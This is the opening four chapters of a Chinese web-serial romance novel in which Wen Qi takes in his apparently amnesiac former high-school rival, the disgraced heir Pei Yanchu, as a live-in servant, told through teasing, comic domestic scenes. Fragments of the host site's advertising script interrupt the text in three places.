《坏狗死对头装失忆骗我》 1. 病房 【裴砚初出车祸失忆了你们知道吗?】 【真假?!什么时候的事?】 【我去国际医院的住院部探望亲戚,正好碰到裴砚初了,我给他打招呼,他居然问我是谁。】 【你确定不是他不想理你,故意装失忆?】 【他和小祈是三中有名的死对头,我们几个又和小祈玩得好,说不定是在那儿装不认识呢。】 【我当时也怀疑,还特地记了他的床号去问护士站,结果护士先问我是不是他朋友,他住院费欠两周了该缴费了,吓得我赶紧走了。】 【那个不可一世的裴砚初也有今天?!】 手机屏幕上四人小群刷新着消息。 【啧,当初裴砚初在高中的时候呼朋唤友多风光啊,转眼之间怎么混成这样了。】 【裴家集团的人事变动连我在国外都知道,裴砚初被他小叔叔给架空了,职位也除名了,估计和破产没差了吧?】 【换成我是裴砚初,落魄成这样还撞见高中同学,也得装失忆。】 群里三个人热火朝天地讨论着,只有闻祈一直没说话。 发起话题的朋友在小窗私敲了闻祈:【小祈,你看到群里的消息了吗?】 闻祈回:【看到了。】 他眼眸低垂,敲着屏幕:【国际医院是吧?我正好在附近,裴砚初在住院部的几楼?病房号发我。】 对面大惊失色:【你想干嘛?】 闻祈:【看看裴砚初在玩什么把戏,真失忆还是假失忆。】 看到消息,闻祈第一反应就是——不信。 那可是裴砚初。 裴家老爷子站在风口上靠倒卖房产发家吃到了时代红利,成立霈泽集团后,在各领域撒渔网似的广投资,裴家亲戚多,势力盘根错节,家族企业一时显赫。 在高中时期,裴这个姓像闪着金光一样,再加上裴砚初的父亲是霈泽现任掌权人,吸引着周边所有人讨好殷勤,连校董会也有裴家的注资。 裴砚初自小在众星捧月中长大,有一副蛊惑人心的俊美相貌,性子吊儿郎当,拽得像每个人欠他万八千儿。 那张嘴…… 更是惹人生厌。 闻祈的眸底闪过不易察觉的几分厌恶。 “叮——” 机器女音轻柔地提示着到达的楼层,电梯的厢门徐徐向两侧打开。 约莫二十来岁的青年出现在轿厢中,身形颀长清瘦,栗子色的发丝似晕着光,穿一件白色卫衣,长裤修饰出修长直挺的腿型。 他抬起头,露出黑色口罩外的一双昳丽的眉眼,眸底的情绪却似湖面平静无波。 闻祈往病房区走去,手机上显示着对面发来的一串数字。 “713,715,717……” 闻祈在717病房前放缓脚步,里面传来护士交代的声音。 “1502床,你预缴的住院费已经用完了,记得及时缴费嗷!” 而后是成熟男性的低沉声线,语气带着歉意:“抱歉,可能还要几天。我堂弟说会帮我代付住院款,但这几天联系不上,等我借到钱了,会第一时间补交。” 那个裴砚初居然也会道歉? 闻祈的眉尖轻轻一挑。 出个车祸,性格也能变? 小转轮滑过地面的骨碌碌声音响起。 闻祈退开几步,往旁边让了让,待护士推着小推车离开后,走进病房中。 国际医院是私人医院,费用高昂,医师队伍一流,配套的医疗机械对标的是国际最先进的水准,病房装潢得像酒店套房。 此刻正值下午两三点,光线明亮,窗外的银杏树闪烁熠熠金光,病人独自站在窗口前,背影在空旷的病房中显得孤零零的。 他听到脚步声回头来,视线对上闻祈。 闻祈下意识放缓脚步。 面前的男人身形高大,额头缠着纱布,面容俊美深邃,大概因着病号服的原因,整个人透出些许的脆弱。 见到他的一瞬间,裴砚初愣神了一下,才礼貌不失客气地问:“你是?” 装得还挺像那回事儿。 闻祈嗤笑一声,没回答,扫了一圈病房想找找他装失忆的蛛丝马迹,视线落在桌上的一篮子芒果上,神色闪过诧异。 连他都知道裴砚初对芒果过敏,谁来探望他带了一大兜子芒果? 闻祈皱眉问:“谁给你买的芒果?” 他问得毫不客气,裴砚初也不在意,道:“我的堂弟上次看望我买的。” 他的唇角勾笑,慢悠悠地感慨:“他真是个好人啊,我刚醒过来的时候,他忙前忙后亲自照料,连芒果都是削好了送我手上。” 语气又一转,惋惜道:“可惜堂弟最近太忙了,没时间来看我,住院费也忘了转给我。” 闻祈面露古怪。 架空裴砚初的职权,趁机上位的是他的小叔叔,那现在说的堂弟,不就是裴砚初小叔的儿子? 闻祈问:“你吃了芒果?” “吃了啊。”裴砚初理所当然地点头,“就是吃芒果吃到过敏休克了,不过也不能怪他,毕竟连我都不知道的事,他更不知道。” 闻祈的声音似林间山泉,清凌凌的,含着半点没掩饰的嘲讽:“裴砚初,你出个车祸,不会把智商也撞掉了吧?” 他嫌闷,摘了口罩,继续道:“你芒果过敏严重到进医院的程度,你堂弟不知道这事才是真有鬼,我看你也别等着他过来帮你交住院费了,还不如问问这里收不收兼职帮工。好歹也是霈泽的前总裁,总不能逃住院费吧?——” 对面的裴砚初安静地听着,望着他,眸底浮起很浅的笑意,问:“有人说过你的眼睛很漂亮吗?” 闻祈的话语骤然卡住,眼眸瞪大,一股说不出的恼怒带着热气直冲脸上,轰然炸开。 高中时裴砚初翻墙进校园跳到小路上,第一次见到他也是说的这句! 一个字都不带改的。 裴砚初故意的吧! 闻祈的眼眸因为怒火而淬得发亮,闪动潋滟光彩,他咬牙问:“裴砚初,你到底真失忆还是假失忆?” 高中时候的裴砚初见他生气了,还笑着逗他:“怎么夸你还不高兴了?” 此刻的裴砚初同样察觉了他的脸色不好看,反问:“是我说错什么话了吗?” 截然不同的回答,唤醒闻祈的几分理智。 闻祈的怒火稍稍平复了些,道:“我不喜欢别人说我长得漂亮。” 裴砚初却笑起来:“这么霸道啊,长得漂亮还不让说。行,那就不说了。” 又问:“你来了这么久,总该告诉我你的名字了吧?” 闻祈抿了唇,生硬道:“我们也不熟,我就是路过,等会儿就走了,没必要说名字。” 裴砚初的眼眸慢慢地黯淡了下去,神色变得落寞,道:“我还以为……你是我的朋友。” 闻祈蹙紧了眉,只觉得浑身不自在,哪里都不对劲。 面前这个可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怜兮兮的裴砚初是怎么回事,以前那个拽劲儿呢? 他身边那堆一招手一大片的狐朋狗友们去哪儿了? 真的是树倒猢狲散? 裴砚初声音落寞:“也算是我醒来的新认识的人,至少告诉我你的姓吧。” 闻祈移开视线,不自在地道:“……我姓闻,听闻的闻。” 搞得真的像他俩第一天见面认识。 只不过那天裴砚初问他的名字,他没给,两人打了一架被路过的教导主任给当场揪住,而今天的他给了自己的姓。 裴砚初若有所思:“我手机里通讯录的''闻校花''是你?” 闻祈刚下去的怒火又噌的冒出来,道:“你再喊那两个字试试?” 当初高中论坛里举办什么校花校草的竞选比赛,不知道是谁拍了他的上课照片传到了校花选项的一栏。 等他知道的时候,票数已经是断层第一,甩了第二名两千多票。 他一个大男人当什么校花! 气得他找到上传照片的账户,连夜托管理员查了ID。 ——裴砚初干的。 校花的帖子是删了,校花的名头却跟着他传了三年。 那些过往都随着分开的时间悄无声息地掩盖,现在倒好,见面说了拢共没几句,就翻了两笔旧账,烧成一腔怒焰。 偏生裴砚初还一脸无辜地举着手机,火上浇油:“真的不是吗?那我打个电话试试。” 闻祈反应过来:“不对,你怎么会有我的联系方式?” 裴砚初道:“我这通讯录里有八百多个人呢,我也不知道怎么会有这么多人,我醒来先给爸妈打电话,没人接,后来给我打电话的人倒是不少,但只有我堂弟来医院看我。” 闻祈微怔。 裴砚初的父母在两年前的一场车祸里去世了,报道的新闻铺天盖地,连那时在上大学的他也知道。 闻祈有些不忍起来,声音也变轻了,问:“医生有说你什么时候恢复记忆吗?” 裴砚初道:“医生说要看脑袋里的淤血情况,可能三四个月,也可能永远都不会恢复。” 他又笑着补了句:“不过没有人找我,记忆恢不恢复也没什么差别吧。” 闻祈看惯了他高高在上的权贵做派,竟生出怪异的不适应感。 算起来,高中时裴砚初有一次芒果过敏和他也有关…… “虽然不熟,但我们高中同学一场。”闻祈犹豫了下,“住院费我替你交吧,不用还了。” 说完以后,他自己也觉得怪得慌,别开视线,语速比平时更显匆促:“那你好好休息,我先走了。” 失忆还是装失忆,到最后也没看出来。 聊了几句话,倒是上赶着帮忙把住院费给交了。 闻祈自嘲地笑笑,又想着后面也不会见面了,当是还高中的那一笔账了,转身准备走。 微急的脚步声从后响起接近,闻祈的手腕被一把拉住。 骨节分明的修长手指紧紧地攥在他的腕间,力度微重,紧张得像怕弄丢了什么宝贝。 闻祈惊愕地回过头去,撞进了裴砚初闪动急切光芒的眼眸中。 “我——” 似是意识到自己的行为不得体,裴砚初恍然醒悟,触电般放开了人,站在那儿,有几分手足无措:“我现在没有记忆,也没有地方可以去。” 他望着闻祈,眸底好似压抑着涌动着什么异样的情绪,声音很轻,问:“你……可以带我走吗?” 2. 主人 没有闻祈的参与,群里依旧讨论得热火朝天,话题不知不觉间变成了今天晚饭吃什么。 远在大洋彼岸留学的朋友不在饭点,只能对着屏幕流口水,痛苦地控诉:【我什么都吃不到!你们就是在故意馋我!】 群里嘻嘻哈哈笑作一团,闻祈坐在车后排,发了个表情包出去。 他一出现,立刻吸引了其他人的注意力。 【小祈你出现了!!你看聊天记录没有?】 【记录被我们聊得都有99+了吧哈哈哈。】 闻祈:【看了,还顺道去医院看了裴狗。】 一石掀起千层浪,满屏幕震惊之下都在疯狂地发问号。 【你去医院了?所以裴砚初是真失忆还是假失忆?】 【我说你下午怎么一直没出现,不会是去打架了吧?】 【在医院打架还挺方便,就地出诊。】 闻祈根本没管自己的话会有什么后果,语气随意。 【没打架。】 【我给他交住院费的时候问了诊断报告,医院那边说的是失忆。】 【对了,我把裴砚初带回家了。】 群里刷屏的消息暂停一瞬,而后纷纷炸开:【你把裴砚初带回家了?!】 闻祈:【他现在在疗养阶段,可以出院,不过他名下的房产涉及商业纠纷被冻结了,没地方可以去,就来给我当佣人了。】 话语发出去的一瞬间,网约车内的音乐结束最后一个鼓点,自动切换下一首歌。 熟悉的轻缓前调响起,而后是温柔吟唱的女性声线,闻祈的瞳眸微缩,指尖僵硬地空悬在屏幕上。 司机盯着路口前面读秒的红灯,跟着旋律哼哼跟唱几句,又笑着感慨:“当初我和我媳妇儿求婚就用的歌后这首当背景音乐,晃眼过去,孩子都五岁啦!” 闻祈忽然出声:“师傅,绿灯了。” 师傅抬头,正好看到路口上方的交通指挥灯红跳绿,赶紧应了声,开车往前。 白色车辆在市中心的一栋公寓门口停下。 两人下了车,闻祈一声不吭的,带着裴砚初上了楼。 公寓一梯一户,电梯在第22层停下。 一进门,就有毛绒绒的小白狗摇着尾巴扑过来,转着圈地嗷呜嗷呜,好像在问怎么这么晚才回来。 看到热情小狗的刹那,闻祈如弦紧绷的神经放松下来,眉眼间露出一点笑意。 他摘了口罩,俯身将小狗抱在怀里,应着哄:“知道了,回来了。” 裴砚初跟着进了玄关,身上还穿着那套病号服,外面只裹了件黑色外套,没任何行李,就这么跟着闻祈过来了。 裴砚初问:“这只狗叫什么名字?” 闻祈抱着小狗心情好,乐意回答:“它叫元宝。” 裴砚初面露迟疑,看向他:“你……不会暗恋我吧?” 闻祈冷不丁听到这句,没绷住愕然的神色,看向他,声音提高八度:“谁暗恋谁?” 裴砚初道:“我堂弟说了,以前家里人很宠爱我,给我取的小名叫砚宝。砚宝、元宝,名字这么像……” 他英俊的面容浮现几分羞涩之色:“你不会是在睹狗思我吧?” 裴砚初自动找到理由,叹息:“我理解的,毕竟我长得帅,家里又有钱,你觉得我们之间的差距太大了,高中毕业以后,你不敢打扰我,只能借元宝这个名字,在暗地里抒发对我的爱慕之情……” “嗷呜?” 被点名的小狗抖了抖尖尖的耳朵,疑惑歪头。 “停!” 闻祈的太阳穴突突地胀跳起来,一时不知道该问裴砚初怎么有脸把可爱的狗狗和自己相提并论,还是该一拳打在那张怎么看怎么欠扁的脸上。 “我没有暗恋你,我们就是没说过几句话的普通同学关系!” 闻祈血压飙升,感觉今天和裴砚初说话,一天把过去一年的生气名额都用完了。 他语气忿忿地强调:“你听清楚了,元宝和你一点关系都没有,你少给自己在那儿加戏。” 裴砚初看起来还有点遗憾:“好吧。” 闻祈怀里的小白狗好奇地望着进门的陌生人,嗷呜嗷呜两声。 “你好啊,元宝。” 裴砚初神色自若地和小狗打了招呼,又看向闻祈,问:“主人,我住哪儿?” 闻祈刚做好的心理建设又崩溃了,不可置信地问:“你、你叫我什么?” “主人啊。” 裴砚初语气疑惑,似是很不解闻祈此刻的神色,“不是你说把我带回来做你的佣人吗?” 他复述着在医院病房里闻祈说过的话:“跟我走?我这儿正好缺一个洗衣服做饭擦地的佣人,一天24小时随叫随到,我指东你就不能往西,没工资没五险一金只包吃包住,要来吗?” 苛刻挑剔的语气,包括语句中的停顿,学得那叫一个惟妙惟肖,堪称场景再现。 裴砚初表现得像是刚上工,要努力表现的忠心佣仆,语气积极:“我答应了做你的贴身佣人,当然要叫你主人了。” 闻祈被他这一套逻辑惊住,总觉得哪里不对。 为什么从裴砚初的嘴里说出来,什么事情都变得这么奇怪? 还有,什么时候变成做他的贴身佣人了? 他神色无措,雪白的脸颊晕开薄薄的绯红霞色,张了张唇,憋半天憋出句:“不要脸!” 裴砚初喉结轻动,下意识道:“多骂几句。” 闻祈瞪大双眼。 “我的意思是说……”裴砚初轻咳一声,“你看起来心情不大好,要是骂我解气的话,你多骂我几句也没事。” 带裴砚初进门不过两分钟,闻祈已经生出后悔的心思了。 现在把人赶出门还来得及吗? “好吧,既然不让我叫你主人。”裴砚初的唇角轻勾,状似退让,“总该可以告诉我你的名字了吧?” 感情还是他没说名字的错了? 闻祈深吸口气,语气生硬道:“我叫闻祈,祈福的祈,直接叫我名字就行。你刚从医院出来,先去洗澡,现在穿的这身从头到尾都得扔,我给你找一套新的衣服。” 他看裴砚初穿一身病号服杵那儿,就觉得碍眼心烦。 或者说看到裴砚初就觉得烦,只想一个人安静一会儿。 在医院的时候,他怎么就一时想不开,同意带裴狗回来了? 裴砚初点点头,听 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 闻祈指了浴室的方向,先去洗澡了。 水声哗啦响起。 闻祈陪小狗闹着玩了会儿,转去卧室找衣服。 裴砚初比他高大半个头,得找大一号的尺码…… 闻祈一边腹诽长这么高干什么,一边找出套宽松的衣服,又从抽屉里拿了一条新买的内裤。 出卧室的时候,浴室的水声同时停下。 闻祈敲门,简要道:“接衣服。” 脚步声响起接近,又在雾面玻璃的浴室门后停下。 门打开,湿润潮热的白雾水汽随着缝隙飘了出来。 闻祈递过去,道:“衣服先凑合着穿,明天有时间再出去买。内裤是我新买的,没穿过……” 灼热的手指接过衣服,碰上了他的指尖,似落下一颗火星子,燃着滚烫的热度。 闻祈的手腕颤抖了下,话也戛然而止,反射性地抬起视线。 裴砚初的上半身光.裸,小麦色的胸肌结实饱满,微微起伏,一连串的透明水珠往下蜿蜒滚落,腰身劲窄,八块腹肌块垒分明,两条性.感深刻的人鱼线往下延伸,藏匿进下半身裹着的白色浴巾中。 白色浴巾挂的那个松松垮垮的危险劲儿,好似下一刻就会掉下来。 他的五官本就深邃锋利,在水洗后更显得立体,侵略感更强,身上裹挟着一股柚子的清甜香气。 是家里沐浴露的香型。 “谢谢。”裴砚初道。 闻祈闪电般收回手,别开视线,道:“不用。” 浴室的门再次被关上。 闻祈无意识地捻了捻手指,刚碰到过的指腹上似落着一道烙印般,轻微地发着热,若有若无地昭显着存在感。 不多时,裴砚初再次出现在他的眼前。 对闻祈来说大一号的卫衣穿他身上刚好合适,下半身是一条深灰色运动裤,面料垂顺,但裤脚短了,露出一截瘦削的脚踝。 闻祈简单地扫了一眼,点头。 还行。 “有个小问题。”裴砚初淡声道。 闻祈问:“什么?” 裴砚初的眸底闪过几分恶劣笑意,又飞快地隐匿不见,递来一团布料,正色道:“内裤太小了,勒蛋,我穿不了。” 闻祈一愣。 也就是说,裴砚初现在挂着空档…… 下一刻,裴砚初的视线扫过闻祈的下半身,贴心地道:“你放心,我不会说出去的。” 闻祈本没多想,被裴砚初一提,顿悟了某种怜悯的言下之意,好不容易平息的怒火熊熊复燃。 看不起谁啊,他的是正常尺寸好吗! 闻祈差点想拉下裤子亲自比比了,面无表情的,一点一点缓慢地捏紧了拳头,视线划过裴砚初额角贴着的纱布,不断劝自己面前是个病号,要忍耐。 已经花了二万五了,不能给这个不要脸的二百五再花一个二万五! 闻祈咬牙道:“不用还我了,你自己留着吧。” 裴砚初道:“哦好。” 就无比自然地揣进自己的卫衣兜里了。 裴砚初诚恳地道:“这是我们重新认识以后,你送我的第一件礼物,我会珍藏的。” 闻祈:? 3. 求人 闻祈的额角突突地跳,伸手:“你还是还我吧。” 裴砚初迟疑:“我穿过,你要拿回去接着穿?这么节俭……不会是医院里帮我付钱,你把积蓄都用完了吧。” 拿也不是,不拿也不是,话全被裴砚初一个人堵完了。 闻祈微笑:“现在确立家里的第一条规矩,你只能点头或者摇头,没我的允许,不能说话。听明白了吗?” 裴砚初的眉宇轻挑,听话地点了头。 他穿着纯色的卫衣和运动裤,人也变得像年轻了几岁,男大学生一样,不说话时,看起来倒是顺眼很多。 “那条内裤连同你换下来的衣服,都扔垃圾桶里。”闻祈道,“然后回答我的问题,你会做饭吗?” 裴砚初的脸上出现些微的纠结之色,再次点了头。 “冰箱里有鸡胸肉,腌制后煎一下,再煮点西蓝花和一颗水煮蛋,就是我的晚饭,冷冻柜里有牛排有鳗鱼,你想吃什么,自己看着随便做。” 闻祈出去一趟,已经有几分疲惫,他迅速说完,最后交代了句做完饭叫我,就回了自己的房间。 这几年里,他的精神气一直很差,加上今天对着裴砚初,情绪跟坐过山车一样起起伏伏,本就不多的精力更是消耗一空。 闻祈去卧室自带的独卫洗了个澡,换了身常服,将元宝重新抱在怀里。 他坐在桌前,对着电脑屏幕上高高低低的音轨怔怔发呆,白皙纤细的手指缓慢地顺着小狗的毛发。 在这一片落针可闻的安静中,小狗似是感知到了他的情绪,用毛绒绒的脑袋轻轻地蹭他。 倏地,叮叮咚咚似是摔碗的响动如惊雷乍响,打破了这片寂静。 小狗嗖的立起耳朵,黑葡萄眼珠看向房门外。 闻祈摸小狗的动作一顿,听出是厨房传来的动静,回过神来,皱紧了眉。 裴砚初又搞出什么事了? 闻祈抱着小狗站起身,出了卧室。 一出去,就看见厨房正往外飘着黑烟,空气也变得呛人。 闻祈心悬起来,冲到厨房,紧张问:“怎么了?!” 裴砚初正一边呛咳着一边收拾黑糊糊的平底锅,地面上散落有瓷碗碎片,边缘闪动着锋利的冷光。 “本来想煎个蛋。”裴砚初断断续续地解释,“糊、糊锅了。” 闻祈怕小狗进来受伤,把元宝关在了厨房门外,又去将抽烟油机的功率调至最大,忍不住问:“你不是说你会做饭吗?” 裴砚初镇定点头:“我会煮汤圆和饺子,也算会做饭吧。” 闻祈往旁边一看,裴砚初的手机放在大理石流理台上,碎了边角的屏幕正自动播放着平底锅煎蛋的视频教程。 就不该指望这个大少爷会做饭。 闻祈又气又无语,俯下身准备去捡碎瓷片,被裴砚初眼疾手快地握住了手腕:“你别动!” 语气很凶,叫闻祈吓了一跳。 裴砚初放缓了语气:“你出去吧,我来收拾。” 闻祈犹豫了下,道:“行,那你先收拾,我去点个外卖。” 裴砚初嘴硬:“不用,刚才只是一点意外,做饭有什么难的?我跟着菜谱,能学会。” 要是他脸上不顶着两道黑黢黢的灰,说这话会更显得可信。 闻祈觉得有点好笑,道:“你现学,那我们什么时候能吃上饭?” 裴砚初认真道:“六点,我保证六点之前让你吃上。” 闻祈抱着看好戏的心情,点头道:“行,那我等着。” 一想到说不定能看到裴砚初的笑话,闻祈整个人都变得期待起来。 他出了厨房,把地方留给裴砚初,小狗刚在外面刨门发现进不去,转去喝水了。 闻祈坐在客厅的小沙发上,听着厨房里时不时传来叮叮咚咚的声音,打开了手机。 一会儿没打开,小群的消息又是99+,不过现在已经没聊了。 闻祈大概扫了眼,不是让他落井下石逮住机会狠狠出气,就是担心裴砚初恢复记忆会报复回来,七嘴八舌的,快吵翻了。 三个人争出了三十个人的架势。 闻祈:【裴砚初在做饭。我等着看能做出什么样。】 去海外留学的朋友已经去睡觉了,另一个朋友似在忙,只有通风报信裴砚初住院的朋友冒出来。 许千钧:【他不会在菜里下毒吧?[惊恐]】 闻祈:【不至于吧?把我毒没了,他去哪儿找免费饭票,他现在连碎了屏的手机都换不起。】 许千钧忧心忡忡的:【祈啊,要不等裴砚初做了饭出来,你让他先吃一口,你再吃。】 闻祈:【要是他做了牛排,我还得等他咬一口再吃?】 许千钧:【那算了,听起来像你吃他吃剩下的食物。】 他又出主意:【要不这样,你切了牛排,把第一块给他?】 闻祈想象了下那个场景。 ……感觉也很怪。 闻祈:【他出院的时候就一个手机一张身份证,没别的东西了,想下毒也没药。】 闻祈:【你知道他的那堆朋友去哪儿了吗?】 许千钧的消息一向比他灵通。 【玩得好的那几个都被关家里了,还有的直接被送上私人飞机去国外了。】 【圈里都知道裴家这次大换血,不让小辈插手。】 闻祈笑了下。 他作为一个无关的小蚂蚁把裴砚初这个烫手山芋给搬走,算是各方都省事了吧? 闻祈另转了话题:【你怎么又换头像了?】 许千钧:【这个头像招财!对了,我经纪人找一个特有名的大师给我算了,说我的艺名得改,改了才能转运。】 闻祈:【那你现在叫?】 许千钧:【许水,你们记得以后都叫我这名了嗷。】 许千钧:【我还找大师买了转运的手串御守和大米,下次见面分你。】 闻祈:【怎么还有大米?】 许千钧:【这可不是普通的大米,是放在佛前开过光,要混进普通的米里一起煮成米饭吃的转运米。】 许千钧又殷殷切切、碎碎念叨着其他几样转运的东西需要注意的事项。 闻祈懒散地靠在沙发上,一手托脸,一手拿着手机,清澈的眸底漾开涟漪般的浅浅笑意。 小狗喝完水,哒哒哒地跑回来了,拿肉垫扒着他的裤腿,示意也要上沙发。 闻祈把小狗抱在腿上,毛绒绒的小狗好奇地挤进他和手机之间,黑豆鼻尖探来探去。 许千钧和他一样都是档期空白的闲人,闻祈索性拨了视频过去。 视频一接通,许千钧就收到了小狗脑袋占满屏幕的可爱暴击,眼眸亮起,喊:“元宝!” 小狗兴奋嗷嗷。 许千钧逗了会儿小狗,又懊恼:“应该给我们元宝也买个什么转运的东西的,我给忘了。” 闻祈道:“别,你那存款也没多少,不要给霍霍完了。” 许千钧傻笑:“没事,别看我签的经纪公司小,但每个月有保底工资,还有五险一金呢。” 他骄傲起来:“我是我们四个里唯一一个不用自己交五险一金的人!” 闻祈笑道:“我就不提了,他们俩一个在国外读研,交不着,一个是自由职业,给自己交的是最顶格的档,水水,等你那公司交的五险一金往上提两个档,你再这么霍霍吧。” 屏幕里的许千钧没回话,面色有些古怪,道:“小祈,我怎么感觉自己好像看到裴砚初了。” 闻祈神色怔了下,回头看去。 身形高大的男人不知何时站在了单座沙发的后面,半俯了身,修长的手臂撑着沙发扶手,几乎是从后把闻祈抱住的姿势。 裴砚初黑眸低垂,盯着屏幕,道:“我听到小祈叫对面的人水水……原来是你啊,我在医院见过你。你不是说自己叫许千钧吗?” 他不笑的时候,声线轻慢,语气透出某种与生俱来的贵气傲慢感。 屏幕里的清秀男生像被吓住了似的,畏畏缩缩地解释:“裴总,我改艺名了,现在叫许水。” 裴砚初的低沉嗓音透 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着愉悦:“不用叫我裴总,我现在是小祈的佣人。” 闻祈微微拧眉,问裴砚初:“我什么同意你叫我小祈了?” 裴砚初自然开口:“那我喊另一个称呼也行,主……” 闻祈一惊,飞快地一把捂住了裴砚初的嘴,瞪他:“不用了,叫我小祈就行!” 因为心急,他的手掌直接压在了裴砚初的鼻尖和薄唇上。 掌心柔软温热,刚洗过澡出来,还散发着淡淡的柚子清香。 裴砚初的喉结轻动,忍住了舔一口的冲动,似在外面耀武扬威的恶犬一对着自己的主人就变成摇尾巴的大狗狗,点了头。 闻祈慢慢地松开了手,想起来问:“你做完饭了?” 裴砚初说话透着几分讨夸奖的得意:“鸡胸肉已经煎好了,锅里在煮南瓜汤,再等几分钟就可以吃了,我先出来叫你洗手。” 闻祈有些惊讶,看了眼时间。 ——17:44 裴砚初道:“我说过的,六点前保证让你吃上饭,不饿肚子。” 闻祈不放心地问:“菜都做好了?” 裴砚初自信点头:“鸡胸肉煎好了,水煮蛋也捞起来凉着了,水煮西蓝花那更是小菜一碟,绝对没问题!” 屏幕对面的许千钧眼眸闪动着凑热闹的光,叮嘱着:“小祈,吃完记得和群里说一声,裴总亲自下厨给你做饭是怎么个感觉!——” 不知怎的,闻祈总有一种不好的预感,谨慎道:“活着回来,我就在群里说一声。” 裴砚初不满:“我亲自下厨,那能有什么问题?” 十分钟后,闻祈坐在餐桌前,深吸一口气,手执银刀,切下餐盘中的鸡胸肉。 裴砚初自夸:“我照着教程里说的煎成金色,怎么样,卖相不错吧?……” 越说到后面,音量越低,最后一个字甚至几不可闻。 他和闻祈一起盯着盘中的鸡胸肉。 鸡胸肉的外表确实是微微金色,卖相极佳,内里却渗着粉粉嫩嫩的血水。 ——没熟。 裴砚初讪讪:“一点小失误……” 闻祈没说什么,拿起旁边的水煮蛋轻轻敲破,剥壳艰难,发现内里连蛋白也没成型。 裴砚初彻底哑然。 做了一桌,最后能吃的,只有再怎么发挥也不会出错的水煮西蓝花和芦笋,还有一碗意外不错的清甜南瓜汤。 裴砚初的耳根发红,面色勉强维持着镇静:“毕竟是第一次做饭,有一些不足很正常,下次肯定不会这样了。” 闻祈对吃食没什么追求,味蕾上的满足,远远比不过此刻裴砚初窘迫的神色给他带来的奇妙愉悦感。 闻祈的语速很慢,学着刚刚裴砚初的话:“我说过的,六点前保证让你吃上饭,不饿肚子?” 裴砚初面露尴尬。 闻祈又慢慢悠悠地复述:“鸡胸肉煎好了,水煮蛋也捞起来凉着了,水煮西蓝花那更是小菜一碟,绝对没问题?” 裴砚初少有这么狼狈的时刻,神色僵硬,想说点什么挽回形象的话,但挫败地发现说什么都行不通。 闻祈再也忍不住,偏过头去,轻轻地笑了起来。 “笑就笑吧。”裴砚初低声道,“就是能不能给我留点面子,别在你的朋友们面前说出去。” 闻祈反问:“想让我给你留面子?求人是这样求的吗?” 裴砚初确实是第一次求人,但也知道想要什么,就得付出相应的报酬,问:“我做什么,你才会答应?” “我想想啊……” 闻祈拿银叉戳着西蓝花,想起前不久许千钧和自己讨论要是裴砚初偷偷下毒怎么办的聊天。 裴狗高傲惯了,要是让他吃自己吃剩下的食物,算得上一个羞辱吧? 等恢复了记忆,裴狗回想起这一段来,表情一定很好看。 闻祈眼眸轻弯,低头咬了一小口西蓝花,特意留了一大半,举在裴砚初的面前。 他纤细的手指托着脸颊,像训狗一样,晃了晃手里的银叉,笑吟吟道:“吃。” 4. 惩罚 空气一时安静下来。 裴砚初注视着他,眸色很深,闪动着闻祈分辨不清的情绪,原本随意放在桌面上的手掌蓦然握紧,手背隆起,绷出道道青筋。 这就生气了? 闻祈觉得有趣,漂亮的眉眼间蕴着毫不掩饰的傲慢恶意,像带刺的娇艳玫瑰。 他的嗓音清冷,嘲弄出声:“不是求我吗,这点都做不到?……” 话音未落,面前的男人却低下了头,张唇咬住了那块西蓝花。 闻祈的瞳眸微微放大,大脑空白,手腕一轻,还未反应过来,裴砚初就已退开来,抬起了头。 面前的男人有一双看人自带深情的桃花眼,盯着他,咀嚼的动作缓慢,颈项上的喉结线条明显,随着吞咽而上下滑动。 “很好吃。”裴砚初哑声道,“谢谢。” 闻祈神色错愕,还保持着喂食的动作,银叉僵硬地顿在半空中。 不是,这个人没有一点羞耻心的吗? 裴砚初若有其事地问:“满意了?” 闻祈神色变得有些复杂,道:“……你是真的饿了?” 裴砚初怔了下,很轻地笑起来,坦诚点头:“饿。” 闻祈的眸底闪过几分了然。 办完住院手续回来就四五点了,十指不沾阳春水的大少爷,把自己关在厨房里乒乒乓乓费捣鼓了一大通,到现在等着他的评价,一口没吃上。 “你先吃点其他的垫着,我研究一下鸡胸肉有没有什么补救的办法。” 裴砚初抽走了他手里的叉子,又将自己的银叉递过去,道:“我的还没动过,你用吧。” 闻祈刚想说不用,他随便吃点也行,裴砚初却已站起身,端着两盘宣告失败的香煎鸡胸肉回厨房了。 再出来的时候,切成小块的鸡胸肉煎得滋滋焦香,撒上欧芹碎和黑胡椒,看起来倒也像模像样,闻祈尝了一口,发现用蜂蜜腌过,透着甜香。 水煮后的小土豆口感细腻软糯,撒点细盐,味道也不错。 “我看到厨房里还有一兜小土豆,就一起煮了。” 裴砚初站在旁边,声线绷着,透出一股细微的紧张:“要是还是不好吃……水煮小土豆总不至于出错,你吃这个。” 闻祈降尊纡贵地给了两个字:“还行。” 裴砚初的唇角掀起弧度,刚收敛下去的尾巴又飞快地翘了起来,吹嘘道:“我就说我没问题的吧,刚刚就是一些小失误。” “你不饿?”闻祈毫不客气地打断,“闭嘴吃饭。” 裴砚初伸手给自己的嘴拉了个拉链,拉开闻祈身旁的凳子,准备坐下。 闻祈冷不丁道:“去对面。” 裴砚初听话地转去了餐桌对面的座位坐下,拿起刀叉埋头开吃。 看起来是真的饿坏了,餐盘里的食物以肉眼可见的速度消失。 吃的和闻祈一样,只是分量是他的两倍。 大概因为晚餐的时间被迫延长的原因,闻祈吃完了一盘鸡胸肉,剥着香喷喷的小土豆,倒是比平时多吃了点。 闻祈吃到最后,进食的速度放慢,他咬着土豆,不自知的,长久地将视线停留在对面的裴砚初的身上。 他还记得高中的时候,裴砚初呼朋唤友的,都是带一堆人在食堂吃单独的小炒。 点的都是重油重辣的类型。 对于裴狗来说,今天的晚餐应当不合他的口味吧。 闻祈无心在吃食上苛待人,干脆道:“收款二维码给我,你要是没吃饱,就自己点外卖。” 裴砚初的动作微顿,放下刀叉,点开手机,推了过来。 闻祈下意识准备扫码,看清楚是什么后,动作微顿。 ——裴砚初打开的不是收款二维码,而且加好友二维码。 “闻祈。” 裴砚初唤。 他的语气漫不经心,好似只是这么突然想到了,不怎么在意的,随口一提。 “——先加个好友?” 闻祈注视着他,一时没有动作。 